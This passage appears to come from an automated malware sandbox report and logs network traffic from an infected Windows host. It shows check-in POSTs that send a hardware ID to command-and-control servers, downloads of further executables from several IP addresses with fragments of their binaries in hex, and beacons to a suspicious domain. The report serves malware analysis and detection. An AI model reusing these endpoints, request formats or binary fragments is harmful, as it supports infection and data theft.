Dec 18, 2024 15:57:39.113631964 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 18, 2024 15:57:39.113643885 CET	1236	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 18, 2024 15:57:39.247462034 CET	1236	IN	Data Raw: 7d 00 00 59 85 c0 75 0f 68 ac 64 42 00 e8 d8 7d 00 00 59 85 c0 74 2b 32 c0 eb 30 83 c9 ff 89 0d a0 64 42 00 89 0d a4 64 42 00 89 0d a8 64 42 00 89 0d ac 64 42 00 89 0d b0 64 42 00 89 0d b4 64 42 00 c6 05 9d 64 42 00 01 b0 01 5e 5d c3 6a 05 e8 8a Data Ascii: }YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9MrB9Er(;u3^]UEVu}kdBP$Y^]x}kdBP$Y3W@

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.10	50038	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:37.819602966 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 15:57:38.905384064 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 17 Dec 2024 15:14:21 GMT Age: 85397 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 15:57:39.033036947 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 15:57:39.348692894 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 17 Dec 2024 15:14:21 GMT Age: 85398 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 15:57:40.425703049 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 15:57:40.743837118 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 17 Dec 2024 15:14:21 GMT Age: 85399 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 15:57:50.873730898 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.10	50040	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:38.050981045 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:57:39.389452934 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:57:39.811181068 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="build"stok------KFHJJDHJEGHJKECBGCFH--
Dec 18, 2024 15:57:40.261998892 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	50056	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:43.291920900 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016944001&unit=246122658369
Dec 18, 2024 15:57:44.611573935 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	50058	185.215.113.16	80	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:44.148345947 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 18, 2024 15:57:45.447887897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:44 GMT Content-Type: application/octet-stream Content-Length: 1809920 Last-Modified: Wed, 18 Dec 2024 14:23:53 GMT Connection: keep-alive ETag: "6762daf9-1b9e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 48 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 48 00 00 04 00 00 92 28 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ H `@ `H(`Ui`D @ @.rsrcD`2@.idata 6@ ,8@yxtglqzl@,>:@ovmlmqjr Hx@.taggant@ H"\|@
Dec 18, 2024 15:57:45.447906971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:45.447921038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:45.447977066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:45.447990894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:45.448015928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:45.448029041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:45.448223114 CET	1236	IN	Data Raw: 78 44 2f de 00 29 2e 93 99 38 30 1b 8a c6 d2 ae 7d ed c8 be 3e 13 dc 7e cd 76 fa 9d 57 f3 69 83 21 c0 83 32 5b d1 a8 fe 71 b9 f2 a4 aa 0f 3e 9e ee 77 0e ad d2 42 3b 99 98 11 31 67 e8 7f 77 80 ea 4a 1e dd 00 7d 22 c5 3c 66 0f 63 8e 68 31 0e c3 a1 Data Ascii: xD/).80}>~vWi!2[q>wB;1gwJ}"<fch1 jr71' PR@AE9D)1f3u\|}^;d)p%GNS:KUe .!QT4MGJ[k6OhQ\|'j(bJ~],'oJt[$
Dec 18, 2024 15:57:45.448235035 CET	1236	IN	Data Raw: 6c 45 18 c3 44 45 14 bf 7d 58 8f a4 87 60 1a 2c df 18 1e a7 08 13 fc bd ce fd f3 d4 e4 00 24 de de 18 e4 be 78 20 e0 d1 75 53 a2 5c e5 45 d8 de de 24 18 eb 08 3c c8 a2 3a e9 bd 18 dd 60 bc 85 0e 61 84 38 80 c4 2a 55 e5 c0 0b de 1e 71 a4 0c 17 88 Data Ascii: lEDE}X`,$x uS\E$<:`a8*UqncBh^E&E[4KH//K.C` \[cgSKKlDRhDy/)..dxOE;-L_%9>ii52"rp\|:5"60l#
Dec 18, 2024 15:57:45.448247910 CET	1236	IN	Data Raw: 26 6a 1f d4 32 08 18 80 29 dd 67 de 91 5c 28 22 94 53 16 eb d4 75 f4 75 81 2e e9 fd 3b a8 c2 72 23 1d ea ef 9a c9 f5 93 6f 2f 43 81 fe 72 e3 45 2f 40 c4 ce 84 23 a7 f0 ee 50 ba f0 3f 33 c8 39 17 75 cc ad e8 2f d4 d7 95 ba 83 df 1c 95 fe 00 5a 5e Data Ascii: &j2)g\("Suu.;r#o/CrE/@#P?39u/Z^}>d$,K]vj23dN({u/}u;bD&+>z%XIzfz'x^;6diE9MX/t-L)R&#To?1u%(5~
Dec 18, 2024 15:57:45.567908049 CET	1236	IN	Data Raw: 9d 3d 4f 68 f7 6c 39 87 fa e8 32 92 a3 4c f6 bf 8a 75 2a 1e 8b 6c d8 8c 8f 1a 4c f4 85 7d 4d af 8a 7c d2 ca df 71 86 41 0a a9 3c e5 2b 83 1a 2c de 86 bf d3 25 22 10 9b de 52 26 c2 3c 31 cc ca 8c 27 ce d1 3a 33 d7 6d 5f 65 2d 4e 4f df c8 11 3f a8 Data Ascii: =Ohl92LulL}M\|qA<+,%"R&<1':3m_e-NO?EK2)6p]d\f7c`xya:W}pqJ5`:5KJXb1d<??(EYE&t8O2*qBa0dg[j
Dec 18, 2024 15:57:48.698791027 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 18, 2024 15:57:49.142978907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:48 GMT Content-Type: application/octet-stream Content-Length: 2874880 Last-Modified: Wed, 18 Dec 2024 14:25:29 GMT Connection: keep-alive ETag: "6762db59-2bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 89 96 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@@O,@M$a$$ $h@.rsrc$x@.idata $z@epdlxdrm@$<\|@ksjtzbhlO+@.taggant0O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	50061	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:44.797960997 CET	66	OUT	GET /files/7055252561/x0qQ2DH.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:57:46.116228104 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:45 GMT Content-Type: application/octet-stream Content-Length: 18409472 Last-Modified: Wed, 18 Dec 2024 14:55:39 GMT Connection: keep-alive ETag: "6762e26b-118e800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 7d df 62 67 00 00 00 00 00 00 00 00 e0 00 2e 03 0b 01 02 2b 00 a8 02 00 00 e4 18 01 00 02 00 00 d0 13 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 19 01 00 04 00 00 4a b1 19 01 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 18 01 ac 11 00 00 00 20 19 01 3f 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 19 01 bc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 10 18 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL}bg.+@`J@ ?@DP.textx``.dataT@.rdataLCD@@.eh_fram @@.bss.idata@.CRT8@.tls@.rsrc? @@.reloc@@B
Dec 18, 2024 15:57:46.116267920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 2e 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00 83 ec 1c 31 c0 66 81 Data Ascii: .&&1f=@MZXXXu<@@PE@tZXXt<$XX!=@BtH1f$\|fQf
Dec 18, 2024 15:57:46.116274118 CET	1236	IN	Data Raw: 00 eb c0 8d 74 26 00 55 89 e5 83 ec 18 a1 00 c0 42 00 85 c0 74 09 c7 04 24 00 21 58 01 ff d0 a1 1c d0 58 01 85 c0 74 0c 89 04 24 ff 15 78 e4 58 01 83 ec 04 c9 c3 90 55 89 e5 83 ec 08 8d 0d 68 21 58 01 8d 05 38 d0 58 01 89 0c 24 89 44 24 04 e8 02 Data Ascii: t&UBt$!XXt$xXUh!X8X$D$)]f.Uh!X8X$D$b+]ffffff;At0UVPQ;QuQq9Qqtrq2^]11UWVytRVftff1@
Dec 18, 2024 15:57:46.116353035 CET	1236	IN	Data Raw: f1 be 33 33 33 33 09 c8 89 c1 c1 e8 02 21 f1 21 f0 be 55 55 55 55 8d 04 88 89 c1 d1 e8 21 f1 21 f0 8b 75 c0 8d 04 48 8b 4d cc 89 45 d0 8b 45 b4 31 c1 89 4d 88 89 d1 33 55 cc 31 f1 31 c6 8b 45 b8 89 4d 8c 89 75 90 89 55 94 31 f2 8b 75 c4 89 55 98 Data Ascii: 3333!!UUUU!!uHMEE1M3U11EMuU1uUU1MM1Mw1EM1UE1OEGEG9MUEE33333UUUUWXWH8(
Dec 18, 2024 15:57:46.116358995 CET	1236	IN	Data Raw: e9 02 21 f0 21 f1 be 55 55 55 55 8d 04 81 89 c1 d1 e8 21 f8 21 f1 bf 0f 0f 0f 0f 8d 04 48 8b 8d 28 ff ff ff d1 e8 31 d9 31 c8 89 85 64 ff ff ff 8b 85 58 ff ff ff 89 45 e0 31 c2 8b 45 f0 31 c2 0f c8 89 c6 21 f8 c1 ee 04 c1 e0 04 21 fe bf 33 33 33 Data Ascii: !!UUUU!!H(11dXE1E1!!3333!!UUUU!TUUU!<p 01114hP1},1$3]11MM1}3u383u1H3ul11!
Dec 18, 2024 15:57:46.116369963 CET	1236	IN	Data Raw: e8 8b 07 85 c0 74 04 56 ff d0 58 83 7f 04 00 74 0a 8b 57 08 89 f1 e8 b0 2d 00 00 31 c0 40 83 c4 38 5e 5f 5b 5d c3 0f 0b 55 89 e5 53 57 56 83 e4 f0 81 ec a0 07 00 00 8b 75 08 f6 06 01 74 11 8b 56 04 f0 ff 02 0f 8e 2d 13 00 00 31 c9 41 eb 05 8b 56 Data Ascii: tVXtW-1@8^_[]USWVutV-1AV1(YVbtq~F~N$fIf$tf3htf3h$ XYV$$hWv XYB<=j[$`
Dec 18, 2024 15:57:46.116539955 CET	1236	IN	Data Raw: 66 0f 73 fa 08 66 0f 73 f9 04 66 0f 73 fc 0c 66 0f ef d0 66 0f ef e1 66 0f ef e2 66 0f ef e3 66 0f 7f a4 24 f0 00 00 00 66 0f 7f 22 e8 90 39 00 00 66 0f 6f 5c 24 70 66 0f 70 06 aa 8d b4 24 60 03 00 00 8d 94 24 d0 00 00 00 89 f1 66 0f 6f cb 66 0f Data Ascii: fsfsfsfffff$f"9fo\$pfp$`$fofofofsfsfsfffffd$ f"w9fo$fp$`$fofofofsfsfsfffff$f"8fo\$ fp$`
Dec 18, 2024 15:57:46.116545916 CET	1236	IN	Data Raw: e0 f2 0f 10 84 24 80 01 00 00 f2 0f 10 8c 24 88 01 00 00 8b 04 24 8d 74 24 44 8d 8c 24 60 03 00 00 89 9c 24 50 01 00 00 8d 5c 24 10 89 4e fc 89 d9 f2 0f 11 06 f2 0f 11 4e 08 83 66 10 00 8d 78 f0 e8 7e 24 00 00 a0 04 c0 42 00 3c 01 75 12 8d 8c 24 Data Ascii: $$$t$D$`$P\$NNfx~$B<u$`SpXV$$#$r$$`S*XNL$D$D$PL$@~T$H~\$~d$$FfV$f
Dec 18, 2024 15:57:46.116558075 CET	1236	IN	Data Raw: f8 04 00 00 8b 44 39 34 89 ca 8d 4c 24 10 89 01 8b 44 3a 50 8d 94 24 d0 00 00 00 89 02 e8 7d 4d 00 00 83 f8 0b 74 1c 8d 4c 24 10 8d 94 24 d0 00 00 00 83 21 00 e8 65 4d 00 00 83 f8 0b 0f 85 1c 04 00 00 8b 8c 24 90 00 00 00 0f b6 c3 c1 eb 08 81 84 Data Ascii: D94L$D:P$}MtL$$!eM$$08$i(k($4$L$ $t%HT$x(L$ PpQRonL$D$ T$p$+L4tytnt`$Fu>tB
Dec 18, 2024 15:57:46.116564989 CET	1236	IN	Data Raw: 01 00 00 00 83 67 10 00 8d 8c 24 60 03 00 00 8b 46 18 89 01 e8 51 01 00 00 89 f1 e8 f0 00 00 00 8d 65 f4 5e 5f 5b 5d c3 0f 0b 8d 8c 24 80 01 00 00 e8 be 2a 00 00 8d 8c 24 60 03 00 00 e8 d3 2a 00 00 8d 84 24 80 01 00 00 8a 40 08 d0 e8 24 01 a2 05 Data Ascii: g$`FQe^_[]$$`$@$B$@T$`.$$`L$@$"pW@`H`BPaX>tVsXjY)UWVuA~KFtu1L~V
Dec 18, 2024 15:57:46.237795115 CET	1236	IN	Data Raw: 8d 4d b4 e8 d7 15 00 00 6a e0 5f 85 ff 74 2a 89 d9 89 f2 e8 78 08 00 00 f2 0f 10 85 64 ff ff ff f2 0f 10 8d 6c ff ff ff f2 0f 11 4c 3d dc f2 0f 11 44 3d d4 83 c7 10 eb d2 8b 75 f0 8b 55 d8 8d 4d 84 8d 5d b4 c1 e6 05 53 e8 f2 1b 00 00 58 8b 45 dc Data Ascii: Mj_t*xdlL=D=uUM]SXEDuD0ED0E0L0MER1Ut"j[tD2DDCF\EUMudDATDD

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49779	98.85.100.80	443	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:22 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 14:56:24 UTC	224	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:23 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-18 14:56:24 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49797	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:29 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:56:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:56:30 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=40pv3pre2ko3ucg1aoemcajor6; expires=Sun, 13-Apr-2025 08:43:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ybKKdNLy%2BuYoflwr%2F6iFSU18gXbySMcCVPTz7T2YjDsQYagv5jWHFd3TNA8u%2F9O2IWyEfD13fmZCHov8ztuEbvqoiXJAA4Xoh%2BWd3oqQ%2Bv4ed%2BObSGTtFVMQuFFsyO4g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ffffa6ee7330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1825&rtt_var=687&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1588683&cwnd=190&unsent_bytes=0&cid=f37f6139875102c9&ts=1046&x=0"
2024-12-18 14:56:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:56:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49805	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:31 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
